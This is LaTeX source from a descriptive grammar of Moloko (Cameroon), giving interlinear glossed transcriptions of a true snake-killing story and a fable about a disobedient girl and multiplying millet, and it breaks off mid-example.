\citet{FriesenMamalis2008} describe the Moloko verb phrase, an analysis which is reflected in this work. Prior to Friesen and Mamalis, only a few documents touched on the syntax of Moloko. Bow’s phonology statement (\citeyear{Bow1997c}) explored the grammar of verbs in relation to tone, and a few comparative studies of several Chadic languages included Moloko data (\citealt{Rossing1978}, \citealt{Blama1980}, and \citealt{deColombel1982}). Rossing described Moloko noun prefixes and suffixes, plural and adjective markers, and pronouns. He also mentioned a nominalising prefix on the verb stem that formed the nominalised form. \citet{Boyd2003} is a draft of a grammar sketch; her findings are cited where they add to this present work.
\clearpage
\section[Snake story]{Snake story\\\hspace{1.5em} \textnormal{}}\label{sec:1.4}
\hypertarget{RefHeading1210321525720847}{}
This true story was recorded in Lalaway, Far North Province of Cameroon in 2007.
\subsubsection*{Setting}
\ea
Ele ndana ege na, ne a Kosewa.\\
\gll ɛlɛ ndana ɛ-g-ɛ na nɛ a Kʷɔʃɛwa\\
thing {\DEM} {\SSS-do{}-\CL} {\PSP} {\oneS} at Kossewa,\\
\glt ‘[When] this thing happened, I was [living] at Kossewa.’\\
\z
\noindent\parbox{\textwidth}{\ea
Ne məndəye ga elé əwla.\\
\gll nɛ mɪ-nd-ijɛ ga ɛlɛ =uwla\\
{\oneS} {\textsc{nom}-lie down-{\CL}} {\ADJ} eye =\oneS.{\POSS} \\
\glt ‘I was lying down.’
\z}
\ea
Ne ɗəwer ga.\\
\gll nɛ ɗuwɛr ga\\
{\oneS} sleep {\ADJ} \\
\glt ‘I was sleeping.’
\z
\subsubsection*{Episode 1}
\ea
Alala na, gogolvan na, olo alay.\\
\gll a-l=ala na gʷɔgʷɔlvaŋ na \`ɔ{}-lɔ =alaj\\
\oldstylenums{3}\textsc{s}-go=to {\PSP} snake {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-go =away\\
\glt ‘Some time later, the snake went.’
\z
\subsubsection*{Inciting moment}
\ea
Acar a hay kəre ava {fo fo fo}.\\
\gll à-tsar a haj kɪrɛ ava {fɔ fɔ fɔ}\\
\oldstylenums{3}\textsc{s}-climb at house wood in {\textsc{id}sound of snake}\\
\glt ‘It climbed into the beams in the roof of the house \textit{fo fo fo}.’
\z
\ea
Sen ala na, okfom adaɗala ɓav!\\
\gll ʃɛŋ =ala na ɔkʷfɔm à-dəɗ =ala ɓav\\
\textsc{id}go =to {\PSP} mouse \oldstylenums{3}\textsc{s}+{\PFV}-fall =to {\textsc{id}sound of falling} \\
\glt ‘And walking, a mouse fell \textit{ɓav}!’
\z
\ea
Ne awəy, “Alma {amədəvala} okfom nehe may?”\\
\gll nɛ awij alma amə-dəv=ala ɔkʷfɔm nɛhɛ maj\\
{\oneS} said what {\DEP}-fall=to mouse {\DEM} what \\
\glt ‘[I woke up] I said [to myself], “What made that mouse fall?”’
\z
\subsubsection*{Peak episode}
\ea
Mbaɗala ehe na, nabay oko,\\
\gll mbaɗala ɛhɛ na nà-b-aj ɔkʷɔ\\
then here {\PSP} {\oneS}+{\PFV}-light{}-{\CL} fire\\
\glt ‘Then, I turned on a light,’
\z
\ea
nazaɗala təystəlam əwla.\\
\gll nà-zaɗ =ala tijstəlam =uwla\\
{\oneS}+{\PFV}-take =to torch ={\oneS}.{\POSS}\\
\glt ‘I took my flashlight.’
\z
\ea
Nabay cəzlar.\\
\gll nà-b-aj tsəɮar\\
{\oneS}+{\PFV}-light{}-{\CL} {\textsc{id}shining the flashlight up}\\
\glt ‘I shone it up \textit{cəzlar}.’
\z
\ea Nábay na,\\
\gll ná-b-aj na\\
{\oneS}-light{}-{\CL} {\PSP}\\
\glt ‘[As] I shone [it],’\\
\medskip
námənjar na, {mbajak mbajak mbajak} gogolvan!\\
\gll ná-mənzar na {mbadzak mbadzak mbadzak} gʷɔgʷɔlvaŋ\\
{\oneS}+{\IFV}-see {\PSP} {\textsc{id}something big and reflective} snake\\
\glt ‘I was seeing it, something big and reflective, a snake!’
\z
\ea Ne awəy, “A, enen baj na, memey na!”\\
\gll nɛ awij a ɛnɛŋ baj na mɛmɛj na\\
{\oneS} said interj. snake {\NEG} {\PSP} how {\PSP}\\
\glt ‘I said to myself, “Wah! It’s a snake!”’ (lit. a snake, if not, how)
\z
\ea
Ne mbət məmbete oko əwla na,\\
\gll nɛ mbət mɪ-mbɛt-ɛ ɔkʷɔ =uwla na\\
{\oneS} {\textsc{id}turn off} {\NOM}{}-{turn off}-{\CL} light ={\oneS}.{\POSS} {\PSP} \\
\glt ‘I turned off my light,’\\
\medskip
kaləw nazaɗala ɛɮɛrɛ =uwla.\\
\gll kàluw nà-zaɗ =ala ɛɮɛrɛ =uwla\\
{\textsc{id}take quickly} {\oneS}+{\PFV}-take =to spear ={\oneS}.{\POSS} \\
\glt ‘[and] quickly took my spear.’
\z
\ea
Mək ava alay,\\
\gll mək =ava =alaj\\
{\textsc{id}positioning self for throwing} =in =to\\
\glt ‘[I] positioned [myself] \textit{mək}!’
\z
\ea
Mecesle mbəraɓ! \\
\gll mɛ-tʃɛɬ-ɛ mbəraɓ\\
{\NOM}{}-penetrate-{\CL} \textsc{id}penetrate\\
\glt ‘It penetrated, \textit{mbəraɓ}!’
\z
\ea
{Ele a} Hərmbəlom ele ga ajənaw ete\\
\gll ɛlɛ a Hʊrmbʊlɔm ɛlɛ ga à-dzən =aw ɛtɛ\\
thing {\GEN} God thing {\ADJ} \oldstylenums{3}\textsc{s}+{\PFV}-help ={\oneS}.{\IO} also \\
\glt ‘God helped me also’\\
\medskip
kəl kəl kə ndahan aka\\
\gll {kəl kəl} kə ndahaŋ aka\\
exactly on \oldstylenums{3}\textsc{s} on\\
\glt ‘[that the spear went] exactly on him.’
\z
\ea
Ádəɗala vbaɓ a wəyen ava.\\
\gll á-dəɗ =ala \dentalflap aɓ a wijɛŋ ava\\
\oldstylenums{3}\textsc{s}+{\IFV}-fall =to \textsc{id}falling at ground on\\
\glt ‘He fell on the ground \textit{vbaɓ}.’
\z
\ea
Ne {dəyday} məkəɗe na aka\\
\gll nɛ {dijdaj} mɪ-kɪɗ-ɛ na =aka\\
{\oneS} approximately {\NOM}{}-kill-{\CL} \oldstylenums{3}\textsc{s}.{\DO} =on\\
\glt ‘I clubbed it to death (approximately).’
\z
\subsubsection*{Dénouement}
\ea Hor əwla olo alay awəy egege,\\
\gll hʷɔr =uwla \`ɔ{}-lɔ =alaj awij ɛgɛgɛ\\
woman ={\oneS}.{\POSS} \oldstylenums{3}\textsc{s}+{\PFV}-go =to said that\\
\glt ‘My wife went and said,’\\
\medskip
“{A a} nəngehe na, Hərmbəlom aloko ehe.\\
\gll {a a} nɪŋgɛhɛ na Hʊrmbʊlɔm =alɔkʷɔ ɛhɛ\\
exclamation {\DEM} {\PSP} God =\oldstylenums{2}\textsc{s}.{\POSS} here \\
\glt ‘“Wah! This one here, our God [is] really here [with us].’\\
\medskip
Bəyna anjakay nok ha a slam məndəye ango ava,\\
\gll bijna à-nzak-aj nɔkʷ ha a ɬam mɪ-nd-ijɛ aŋgʷɔ ava\\
because \oldstylenums{3}\textsc{s}+{\PFV}-find{}-{\CL} {\twoS} until at place {\NOM}{}-sleep-{\CL} {\twoS} in\\
\glt ‘Because it found you even in your bed.’ (lit. all the way to the place of your lying)\\
\medskip
alala Hərmbəlom ajənok na, səwse Hərmbəlom.”\\
\gll {a-l =ala} Hʊrmbʊlɔm à-dzən =ɔkʷ {na ʃuwʃɛ} Hʊrmbʊlɔm\\
\oldstylenums{3}\textsc{s}-go=to God \oldstylenums{3}\textsc{s}+{\PFV}-help ={\twoS}.{\IO} {{\PSP} thanks} God\\
\glt ‘And then God helped you; thanks [be to] God!”’
\z
\ea Hor əwla ahaw kəygehe.\\
\gll hʷɔr =uwla à-h=aw kijgɛhɛ\\
woman ={\oneS}.{\POSS} \oldstylenums{3}\textsc{s}+{\PFV}-tell={\oneS}.{\IO} {like that}\\
\glt ‘My wife said it like that.’
\z
\ea Alala, nəzlərav na ala gogolvan na a amata ava. \\
\gll a-l=ala n\`ə-ɮərav na =ala gʷɔgʷɔlvaŋ na a amata ava\\
\oldstylenums{3}\textsc{s}-go=to {\oneS}+{\PFV}-exit \oldstylenums{3}\textsc{s}.{\DO} =to snake {\PSP} at outside in\\
\glt ‘Sometime later I took the snake outside.’
\z
\ea Ko dedew babəza əwla ahay aməzləravala amata na, tawəy,\\
\gll kʷɔ dɛdɛw babəza =uwla =ahaj amə-ɮərav =ala amata na tawij\\
early morning child ={\oneS}.{\POSS} =Pl {\NOM}{}-exit =to outside {\PSP} \oldstylenums{3}\textsc{p}+said\\
\glt ‘Early the next morning, when my children came outside, they said,’\\
\largerpage[2]
\medskip
“Baba ákaɗ gogolvan, baba ákaɗ gogolvan!”\\
\gll baba á-kaɗ gʷɔgʷɔlvaŋ baba á-kaɗ gʷɔgʷɔlvaŋ\\
father \oldstylenums{3}\textsc{s}+{\IFV}-kill snake father \oldstylenums{3}\textsc{s}+{\IFV}-kill snake\\
\glt ‘“Papa killed a snake, Papa killed a snake!”’
\z
\ea Tájaka kəygehe.\\
\gll tá-dz =aka kijgɛhɛ\\
\oldstylenums{3}\textsc{p}+{\IFV}-say =on {like that}\\
\glt ‘They said it like that.’
\z
\subsubsection*{Conclusion}
\ea Ka nehe ləbara a ma ndana ɗəwge.\\
\gll ka nɛhɛ ləbara a ma ndana ɗuwgɛ\\
like {\DEM} news {\GEN} word {\DEM} actual\\
\glt ‘And so was that story.’
\z
\section[Disobedient Girl story]{Disobedient Girl story\\\hspace{1.5em} \textnormal{}}\setcounter{equation}{0}
\hypertarget{RefHeading1210341525720847}{}\label{sec:1.5}
This fable was recorded in Lalaway, Far North Province of Cameroon in 2002.
\subsubsection*{Setting}
\ea Bamba bamba kəlo dərgoɗ!\\
\gll bamba bamba kʊlɔ dʊrgʷɔɗ\\
story story under silo\\
\glt ‘Once upon a time…’ (lit. there’s a story under the silo)
\z
\ea Tawəy abəya, ma bamba a war dalay cezlere ga.\\
\gll tawij abija ma bamba a war dalaj tʃɛɮɛrɛ ga\\
\oldstylenums{3}\textsc{p}+said saying word story {\GEN} child female disobedience {\ADJ}\\
\glt ‘They say, the story of the disobedient girl [goes like this:]’\\
\z
\ea Zlezle na, Məloko ahay na, Hərmbəlom ávəlata barka va.\\
\gll ɮɛɮɛ na Mʊlɔkʷɔ =ahaj na Hʊrmbʊlɔm á-vəl=ata barka\\
{long ago} {\PSP} Moloko =Pl {\PSP} God \oldstylenums{3}\textsc{s}+{\IFV}-send=\oldstylenums{3}\textsc{s}.{\IO} blessing \\
\medskip
\gll =va\\
={\PRF}\\
\glt ‘Long ago, to the Moloko people, God had given his blessing.’\\
\z
\clearpage
\ea Kəwaya asa təwasva nekwen kəygehe ɗəw,\\
\gll kuwaja asa t\`ə-was=va nɛkʷɛŋ kijgɛhɛ ɗuw\\
{that is} if \oldstylenums{3}\textsc{p}+{\PFV}-cultivate={\PRF} little {like this} also\\
\glt ‘That is, even if they had only cultivated a little [millet] like this,’\\
\medskip
ávata məvəye haɗa. \\
\gll á-v =ata mɪ-v-ijɛ haɗa\\
\oldstylenums{3}\textsc{s}+{\IFV}-{spend time} =\oldstylenums{3}\textsc{p}.{\IO} {\NOM}-{spend time}-{\CL} {a lot}\\
\glt ‘it would last them enough for the whole year.’ \\
\z
\ea Aməhaya kə ver aka na, tázaɗ war elé háy bəlen.\\
\gll amə-h =aja kə vɛr aka na tá-zaɗ war ɛlɛ haj bɪlɛŋ\\
{\DEP}-grind ={\PLU} on stone on {\PSP} \oldstylenums{3}\textsc{s}+{\IFV}-grind child eye millet one\\
\glt ‘For grinding on the grinding stone, they would take one grain of millet.’\\
\z
\ea Nde, asa t\'ənday táhaya na na, \\
\gll ndɛ asa t\'ə-ndaj tá-h =aja na na\\
so if \oldstylenums{3}\textsc{p}+{\IFV}-{\PRG} \oldstylenums{3}\textsc{p}+{\IFV}-grind ={\PLU} \oldstylenums{3}\textsc{s}.{\DO} {\PSP}\\
\glt ‘So, whenever they were grinding it,’\\
\medskip
həmbo na, ásak nə məsəke.\\
\gll hʊmbɔ na á-sak nə mɪ-ʃɪk-ɛ\\
flour {\PSP} \oldstylenums{3}\textsc{s}+{\IFV}-multiply with {\NOM}{}-multiply-{\CL}\\
\glt ‘the flour, it multiplied with multiplying.’ \\
\z
\ea War elé háy bəlen fan na\textit,\\
\gll war ɛlɛ haj bɪlɛŋ faŋ na\\
child eye millet one yet {\PSP}\\
\glt ‘Just one grain of millet,’\\
\medskip
ájata pɛw ha ámbaɗ ɛʃɛ.\\
\gll á-nz=ata pɛw ha á-mbaɗ ɛʃɛ\\
\oldstylenums{3}\textsc{s}+{\IFV}-suffice=\oldstylenums{3}\textsc{p}.{\IO} enough until \oldstylenums{3}\textsc{s}+{\IFV}-remain again\\
\glt ‘it sufficed for them, even to leaving leftovers.’ (lit. until it remained again)\\
\z
\ea Waya a məhaya ahan ava na,\\
\gll waja a mə-h =aja =ahaŋ ava na\\
because at {\NOM}{}-grind ={\PLU} =\oldstylenums{3}\textsc{s}.{\POSS} in {\PSP}\\
\glt ‘Because, during its grinding,’\\
\clearpage
\medskip
ásak kə ver aka nə məsəke.\\
\gll á{}-sak kə vɛr aka nə mɪ-ʃɪk-ɛ\\
\oldstylenums{3}\textsc{s}+{\IFV}-multiply on {grinding stone} on with {\NOM}{}-multiply-{\CL}\\
\glt ‘it would actually multiply on the grinding stone.' (lit. multiply with multiplying)
\z
\subsubsection*{Episode 1}
\ea Nde ehe na, albaya ava aba. \\
\gll ndɛ ɛhɛ na albaja ava aba \\
so here {\PSP} {young man} {\EXT}{}+in {\EXT}\\
\glt ‘And so, there once was a young man.’\\
\z
\ea Olo azala dalay.\\
\gll à-lɔ à-z =ala dalaj\\
\oldstylenums{3}\textsc{s}+{\PFV}-go \oldstylenums{3}\textsc{s}+{\PFV}-take =to girl\\
\glt ‘He went and took a wife.’
\z
\ea Azləna, war dalay ndana, cezlere ga.\\
\gll aɮəna war dalaj ndana tʃɛɮɛrɛ ga\\
but child female {\DEM} disobedience {\ADJ}\\
\glt ‘Now, that young girl was disobedient.’\\
\z
\ea Sen ala na, zar ahan na,\\
\gll ʃɛŋ =ala na zar =ahaŋ na\\
\textsc{id}go =to {\PSP} man =\oldstylenums{3}\textsc{s}.{\POSS} {\PSP}\\
\glt ‘Then her husband’\\
\medskip
dək medakan na, mənjəye ata.\\
\gll dək mɛ-dak=aŋ na mɪ-nʒ-ijɛ =atəta\\
\textsc{id}show {\NOM}-show=\oldstylenums{3}\textsc{s}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} {\NOM}{}-sit-{\CL} =\oldstylenums{3}\textsc{p}.{\POSS}\\
\glt ‘instructed her in their habits.’ (lit. instructing their sitting)
\z
\ea Awəy, “Hor golo, afa ləme na,\\
\gll awij hʷɔr gʷɔlɔ afa lɪmɛ na\\
said woman \textsc{honour} {at place of} \oldstylenums{1}\textsc{Pex} {\PSP}\\
\glt ‘He said, “My dear wife, here at our (exclusive) place,\\
\clearpage
\medskip
mənjəye aləme na, kəygehe.\\
\gll mɪ-nʒ-ijɛ =alɪmɛ na kijgɛhɛ\\
{\NOM}{}-sit-{\CL} =\oldstylenums{2}\textsc{Pex}.{\POSS} {\PSP} {like this}\\
\glt ‘it is like this.’\\
\medskip
Asa asok aməhaya na,\\
\gll asa à-s=ɔkʷ amə-h =aja na\\
if \oldstylenums{3}\textsc{s}+{\PFV}-please={\twoS}.{\IO} {\DEP}-grind ={\PLU} {\PSP}\\
\glt ‘If you want to grind,’\\
\medskip
kázaɗ war elé háy bəlen.\\
\gll ká{}-zaɗ war ɛlɛ haj bɪlɛŋ\\
{\twoS}+{\IFV}-take child eye millet one\\
\glt ‘you take only one grain.’\\
\medskip
War elé háy bəlen ga nəndəye nok amezəɗe na,\\
\gll war ɛlɛ haj bɪlɛŋ ga nɪndijɛ nɔkʷ amɛ-ʒɪɗ-ɛ na\\
child eye millet one {\ADJ} {\DEM} {\twoS} {\DEP}-take-{\CL} {\PSP}\\
\glt ‘That one grain that you have taken,’\\
\medskip
káhaya na kə ver aka.\\
\gll ká-h =aja na kə vɛr aka\\
{\twoS}+{\IFV}-grind ={\PLU} \oldstylenums{3}\textsc{s}.{\DO} on {grinding stone} on\\
\glt ‘grind it on the grinding stone,’\\
\medskip
Ánjaloko de pew. \\
\gll á-nz =alɔkʷɔ dɛ pɛw\\
\oldstylenums{3}\textsc{s}+{\IFV}-suffice =\oldstylenums{1}\textsc{Pin}.{\IO} enough finished\\
\glt ‘It will suffice for all of us just enough.’ \\
\medskip
Ádaloko ha ámbaɗ ese.\\
\gll á-d =alɔkʷɔ ha á-mbəɗ ɛʃɛ\\
\oldstylenums{3}\textsc{s}+{\IFV}-prepare =\oldstylenums{1}\textsc{Pin}.{\IO} until {\oldstylenums{3}\textsc{s}+{\IFV}-left over} again\\
\glt ‘It will make food for all of us, until there is some left over.’\\
\medskip
Waya a məhaya ahan ava na,\\
\gll waja a mə-h=aja =ahaŋ ava na\\
because at {\NOM}{}-grind={\PLU} =\oldstylenums{3}\textsc{s}.{\POSS} in {\PSP}\\
\glt ‘because, during the grinding,’\\
\clearpage
\medskip
Hərmbəlom anday ásakaləme na aka.”\\
\gll Hʊrmbʊlɔm a-ndaj á-sak =alɪmɛ na aka\\
God \oldstylenums{3}\textsc{s}-{\PRG} \oldstylenums{3}\textsc{s}+{\IFV}-multiply =\oldstylenums{1}\textsc{Pex}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} on \\
\glt ‘God is multiplying it for us.”’\\
\z
\ea Hor na, ambəɗan aka, \\
\gll hʷɔr na a-mbəɗ=aŋ =aka\\
woman {\PSP} \oldstylenums{3}\textsc{s}-change=\oldstylenums{3}\textsc{s}.{\IO} =on\\
\glt ‘The woman replied,’\\
\z
\ea awəy, “Ayokon zar golo.”\\
\gll awij ajɔkʷɔŋ zar gʷɔlɔ\\
said agreed man \textsc{honour}\\
\glt ‘saying, “Yes, my dear husband.”’
\z
\subsubsection*{Episode 2}
\ea Ndahan amandava ɓəl na, zar ahan olo\\
\gll ndahaŋ ama-nd =ava ɓəl na zar =ahaŋ \`ɔ{}-lɔ\\
\oldstylenums{3}\textsc{s} {\DEP}-sleep =in \textsc{id}some {\PSP} man =\oldstylenums{3}\textsc{s}.{\POSS} \oldstylenums{3}\textsc{s}+{\PFV}-go \\
\glt ‘She, sleeping there for some time, her husband went away’\\
\medskip
ametele kə dəlmete ahan aka a slam enen.\\
\gll amɛ-tɛl-ɛ kə dɪlmɛtɛ =ahaŋ aka a ɬam ɛnɛŋ\\
{\DEP}-walk-{\CL} on neighbor =\oldstylenums{3}\textsc{s}.{\POSS} on at place another\\
\glt ‘to walk~in the neighborhood to some place.’ \\
\z
\ea Azləna, hor na, asərkala afa təta va na,\\
\gll aɮəna hʷɔr na à-sərk =ala afa təta =va na\\
but woman {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-{habitually} =to {at house of} \oldstylenums{3}\textsc{p} ={\PRF} {\PSP}\\
\glt ‘Now, that woman, she was in the habit at their place’\\
\medskip
aməhaya háy na gam.\\
\gll amə-h =aja haj na gam\\
{\DEP}-grind ={\PLU} millet {\PSP} {a lot}\\
\glt ‘[of] grinding a lot of millet.’
\z
\ea Ndahan jo madala háy na, \\
\gll ndahaŋ dzɔ ma-d =ala háj na\\
\oldstylenums{3}\textsc{s} \textsc{id}take {\NOM}{}-prepare =to millet {\PSP}\\
\glt ‘After having gotten ready to grind (she taking millet),’\\
\medskip
ɗen bəlen tə kə ver aka,\\
\gll ɗɛŋ bɪlɛŋ tə kə vɛr aka,\\
\textsc{id}put one {\textsc{id}put one} on stone on\\
\glt ‘[she put] one grain on the grinding stone.’\\
\z
\ea Awəy, “Gəlo ahay nehe azla na, malmay nəngehe na may? \\
\gll awij gʊlɔ =ahaj nɛhɛ aɮa na malmaj nɪŋgɛhɛ na maj\\
said fellow =Pl {\DEM} now {\PSP} what {\DEM} {\PSP} what\\
\glt ‘She said, “Friends, here, what is this?’\\
\medskip
Háy bəlen azla na, náambəzaka məhaya əwla na,\\
\gll haj bɪlɛŋ aɮa na, náá-mbəz =aka mə-h =aja =uwla na\\
millet one now {\PSP} {\oneS}+{\POT}-ruin =on \textsc{nom}{}-grind ={\PLU} ={\oneS}.{\POSS} {\PSP}\\
\glt ‘One grain, [with it] I know I will ruin my grinding.’\\
\medskip
Meme ege mey?\\
\gll mɛmɛ ɛ{}-g-ɛ mɛj\\
how \oldstylenums{3}\textsc{s}-do-{\CL} how\\
\glt ‘What is happening?’ (What should I do?)\\
\medskip
Nehe na, məseɓete hərav əwla ɗaw?\\
\gll nɛhɛ na mɪ-ʃɛɓɛt-ɛ hərav =uwla ɗaw\\
{\DEM} {\PSP} {\NOM}{}-deceive-{\CL} body ={\oneS}.{\POSS} {\QUEST}\\
\glt ‘This, am I deceiving my body?’ \\
\medskip
Bəy na, malmay? \\
\gll bij na malmaj\\
{\NEG} {\PSP} what\\
\glt ‘If not, what is it then?’\\
\medskip
Aya jen ele ahay nendəye na, nagala kəyga bay.” \\
\gll aja dʒɛŋ ɛlɛ =ahaj nɛndijɛ na nà-g =ala kijga baj \\
so chance thing =Pl {\DEM} {\PSP} {\oneS}+{\PFV}-do =to {like this} {\NEG} \\
\glt ‘Above all, these things, I have never done like this.”’\\
\z
\subsubsection*{Peak episode}
\ea Jo madala háy na, gam. \\
\gll dzɔ ma-d =ala haj na gam\\
\textsc{id}take {\NOM}-prepare =to millet {\PSP} {a lot}\\
\glt ‘[She] prepared lots of millet.' (lit. millet prepared, lots)
\z
\ea Ndahan bah məbehe háy ahan \\
\gll ndahaŋ bax mɪ-bɛh-ɛ haj =ahaŋ \\
\oldstylenums{3}\textsc{s} \textsc{id}pour {\NOM}{}-pour-{\CL} millet =\oldstylenums{3}\textsc{s}.{\POSS} \\
\glt ‘She poured her millet’\\
\medskip
amadala na kə ver aka azla.\\
\gll ama-d =ala na kə vɛr aka aɮa\\
{\DEP}-prepare =to \oldstylenums{3}\textsc{s}.{\DO} on stone on now\\
\glt ‘to prepare it on the grinding stone.’
\z
\ea {Njəw njəw njəw} aməhaya azla.\\
\gll {nzuw nzuw nzuw} amə-h =aja aɮa\\
\textsc{id}grind {\DEP}-grind ={\PLU} now\\
\glt ‘\textit{Njəw njəw njəw} [she] ground [the millet] now.’
\z
\ea Həmbo na ɗəw, anday ásak ásak ásak.\\
\gll hʊmbɔ na ɗuw à-ndaj á-sak á-sak\\
flour {\PSP} also \oldstylenums{3}\textsc{s}+{\PFV}-{\PRG} \oldstylenums{3}\textsc{s}+{\IFV}-multiply \oldstylenums{3}\textsc{s}+{\IFV}-multiply\\
\medskip
\gll á-sak\\
\oldstylenums{3}\textsc{s}+{\IFV}-multiply \\
\glt ‘The flour, it is multiplying [and] multiplying [and] multiplying.’
\z
\ea Ndahan na, ndahan aka {njəw njəw njəw.} \\
\gll ndahaŋ na ndahaŋ aka {nzuw nzuw nzuw} \\
\oldstylenums{3}\textsc{s} {\PSP} \oldstylenums{3}\textsc{s} {\EXT} \textsc{id}grind\\
\glt ‘And she, she is grinding some more \textit{njəw, njəw, njəw}.’
\z
\ea Anday ahaya nə məzere ləmes ga.\\
\gll à-ndaj à-h =aja nə mɪ-ʒɛr-ɛ lɪmɛʃ ga\\
\oldstylenums{3}\textsc{s}+{\PFV}-{\PRG} \oldstylenums{3}\textsc{s}+{\PFV}-grind ={\PLU} with {\NOM}{}-{do well}-{\CL} song {\ADJ}\\
\glt ‘She is grinding while singing well.’
\z
\ea Alala na, ver na, árəh mbaf, nə həmbo na,\\
\gll a-l=ala na vɛr na á-rəx mbaf nə hʊmbɔ na\\
\oldstylenums{3}\textsc{s}-go=to {\PSP} room {\PSP} \oldstylenums{3}\textsc{s}+{\IFV}-fill {up to the roof} with flour {\PSP}\\
\glt ‘After a while, the room, it filled up to the roof with the flour,’\\
\medskip\largerpage
ɗək məɗəkaka alay ana hor na,\\
\gll ɗək mə-ɗək =aka =alaj ana hʷɔr na\\
\textsc{id}stuff {\NOM}{}-plug =on =away {\DAT} woman {\PSP}\\
\glt ‘[The flour] suffocated the woman.' (lit. plugged the room for the woman [so there was no place for her to even breathe])\\
\medskip
nata ndahan dəɓəsolək məmətava alay \\
\gll nata ndahaŋ dʊɓʊsɔlʊkʷ mə-mət =ava =alaj \\
{and then} \oldstylenums{3}\textsc{s} \textsc{id}collapse/die {\NOM}{}-die =in =away \\
\glt ‘and she collapsed \textit{dəɓəsolək}, dying’\\
\medskip
a hoɗ a haj na ava.\\
\gll a hʷɔɗ a haj na ava\\
at stomach {\GEN} house {\PSP} in\\
\glt ‘inside the house.’
\z
\subsubsection*{Dénouement}
\ea Embesen cacapa na, zar ahan angala.\\
\gll ɛ{}-mbɛʃɛŋ tsatsapa na zar =ahaŋ à-ŋgala\\
\oldstylenums{3}\textsc{s}-rest {some time} {\PSP} man =\oldstylenums{3}\textsc{s}.{\POSS} \oldstylenums{3}\textsc{s}+{\PFV}-return\\
\glt ‘After a while, her husband came back.’
\z
\ea Pok mapalay mahay na,\\
\gll pɔkʷ ma-p =alaj mahaj na\\
\textsc{id}open {\NOM}{}-open =away door {\PSP}\\
\glt ‘Opening the door,'\\
\medskip
həmbo árah na a hoɗ a hay ava.\\
\gll hʊmbɔ á-rax na a hʷɔɗ a haj ava\\
flour \oldstylenums{3}\textsc{s}+{\IFV}-fill \oldstylenums{3}\textsc{s}.{\DO} at stomach {\GEN} house in\\
\glt ‘the flour filled the stomach (the interior) of the house.’\\
\z
\ea Ndahan aməmənjere ele nendəye na, awəy,\\
\gll ndahaŋ amɪ-mɪnʒɛr{}-ɛ ɛlɛ nɛndijɛ na awij\\
\oldstylenums{3}\textsc{s} {\DEP}-see-{\CL} thing {\DEM} {\PSP} said\\
\glt ‘He, seeing the things, he said,’\\
\medskip
“Aw aw aw, hor ngehe na, acaw aka va \\
\gll {aw aw aw} hʷɔr ŋgɛhɛ na à-ts =aw =aka =va\\
{cry of death} woman {\DEM} {\PSP} \oldstylenums{3}\textsc{s}+{\PFV}-understand ={\oneS}.{\IO} =on ={\PRF}\\
\glt ‘“Ah, this woman, today, she didn’t listen’\\
\medskip
ma əwla amahan na bay esəmey?\\
\gll ma =uwla ama-h =aŋ na baj ɛʃɪmɛj\\
word ={\oneS}.{\POSS} {\DEP}-speak =\oldstylenums{3}\textsc{s}.{\IO} \oldstylenums{3}\textsc{s}.{\DO} {\NEG} {not so}\\
\glt ‘to my instructions, did she?’ \\
\medskip
Agə na va ele ne amahan aməjəye \\
\gll à-gə na =va ɛlɛ nɛ ama-h =aŋ amɪ-dʒ-ijɛ \\
\oldstylenums{3}\textsc{s}+{\PFV}-do \oldstylenums{3}\textsc{s}.{\DO} ={\PRF} thing {\oneS} {\DEP}-say =\oldstylenums{3}\textsc{s}.{\IO} {\DEP}-say-{\CL} \\
\glt ‘She has done the thing that I told her’\\
\medskip
mege bay na esəmey?\\
\gll m\`ɛ-g-ɛ baj na ɛʃɪmɛj\\
\oldstylenums{3}\textsc{s}+{\HOR}-do-{\CL} {\NEG} {\PSP} {not so}\\
\glt ‘she should not do, not so?’\\
\medskip
Nde nége ehe na, memey gəlo ahay?” \\
\gll ndɛ n\'ɛ-g-ɛ ɛhɛ na mɛmɛj gʊlɔ =ahaj\\
so {\oneS}+{\IFV}-do{}-{\CL} here {\PSP} how friend =Pl\\
\glt ‘So, what can I do here, my friends?”’\\
\z
\ea Kəlen tazlərav na ala. \\
\gll kɪlɛŋ tà-ɮərav na =ala \\
then \oldstylenums{3}\textsc{p}+{\PFV}-exit \oldstylenums{3}\textsc{s}.{\DO} =to \\
\glt ‘Then, they took her out of the house.’
\z
\ea Babək mələye na.\\
\gll babək mɪ-l-ijɛ na\\
\textsc{id}bury {\NOM}-bury-{\CL} \oldstylenums{3}\textsc{s}.{\DO}\\
\glt ‘[She was] buried.’
\z
\subsubsection*{Conclusion}
\ea Nde ko ala a ɗəma ndana ava pew!\\
\gll ndɛ kʷɔ =ala a ɗəma ndana ava pɛw\\
so until =to at time {\DEM} in enough\\
\glt ‘So, ever since that time, it’s done!’
\z
\ea Məloko ahay tawəy, “Hərmbəlom ága ɓərav va \\
\gll Mʊlɔkʷɔ =ahaj tawij Hʊrmbʊlɔm á-g-a ɓərav =va \\
Moloko =Pl \oldstylenums{3}\textsc{p}+said God \oldstylenums{3}\textsc{s}+{\IFV}-do-{\CL} heart ={\PRF} \\
\glt ‘The Molokos say, “God got angry’ (lit. God did heart)\\
\medskip
kəwaya war dalay na, amecen sləmay bay ngəndəye.”\\
\gll kuwaja war dalaj na amɛ-tʃɛŋ ɬəmaj baj ŋgɪndijɛ\\
{because of} child girl {\PSP} {\DEP}-hear ear \textsc{neg} {\DEM}\\
\glt ‘because of that girl, that one that was disobedient.”’
\z
\ea Waya ndana Hərmbəlom ázata aka barka ahan va.\\
\gll waja ndana Hʊrmbʊlɔm á-z =ata =aka barka =ahaŋ\\
because {\DEM} God \oldstylenums{3}\textsc{s}+{\IFV}-take =\oldstylenums{3}\textsc{p}.{\IO} =on blessing =\oldstylenums{3}\textsc{s}.{\POSS}\\
\medskip
\gll =va \\
={\PRF}\\
\glt ‘Because of that, God had taken back his blessing from them.’\\
\z
\ea Cəcəngehe na, war elé háy bəlen na, ásak asabay.\\
\gll tʃɪtʃɪŋgɛhɛ na, war ɛlɛ haj bɪlɛŋ na á-sak asa-baj\\
now {\PSP} child eye millet one {\PSP} \oldstylenums{3}\textsc{s}+{\IFV}-multiply again-{\NEG}\\
\glt ‘And now, one grain of millet, it doesn’t multiply anymore.’\\
\z
\ea Talay war elé háy bəlen kə ver aka na, ásak asabay.\\
\gll talaj war ɛlɛ haj bɪlɛŋ kə vɛr aka na á-sak asa-baj\\
